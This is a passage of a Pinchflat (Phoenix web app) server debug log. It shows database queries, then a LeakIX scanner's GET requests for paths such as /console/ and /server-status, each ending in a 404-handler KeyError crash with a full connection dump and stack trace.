QUERY OK source="media_items" db=1.9ms idle=6.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:51:12.669 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:51:12.670 [info] Sent 200 in 21ms 04:51:12.670 [info] Sent 200 in 24ms 04:51:13.646 [info] GET /console/ 04:51:13.647 [debug] QUERY OK source="settings" db=0.3ms idle=979.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:13.648 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=979.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:13.648 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:13.649 [error] #PID<0.138858.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /console/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138858.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUroDh_9xh1h8ADYzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138858.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id" (truncated) 04:51:14.649 [info] GET /server 04:51:14.650 [debug] QUERY OK source="settings" db=0.4ms idle=1002.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:14.651 [debug] QUERY OK source="settings" db=0.4ms idle=1002.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:14.651 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:14.652 [error] #PID<0.138859.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138859.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUrryhdFuAfiYADYzh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138859.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUrryhdFuAf (truncated) 04:51:15.637 [info] GET /server-status 04:51:15.638 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1103.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:15.639 [debug] QUERY OK source="settings" db=0.3ms idle=1104.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:15.639 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:15.640 [error] #PID<0.138860.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138860.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUrveLO35t5WcADY0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138860.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, p (truncated) 04:51:16.651 [info] GET /about 04:51:16.652 [debug] QUERY OK source="settings" db=0.3ms idle=1013.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:16.653 [debug] QUERY OK source="settings" db=0.3ms idle=1013.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:51:16.654 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:51:16.654 [error] #PID<0.138861.0> running PinchflatWeb.Endpoint (connection #PID<0.138854.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /about ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138861.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.0313e23343e2131313e23373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUrzP7rdPdlRIADY0h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47878}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: 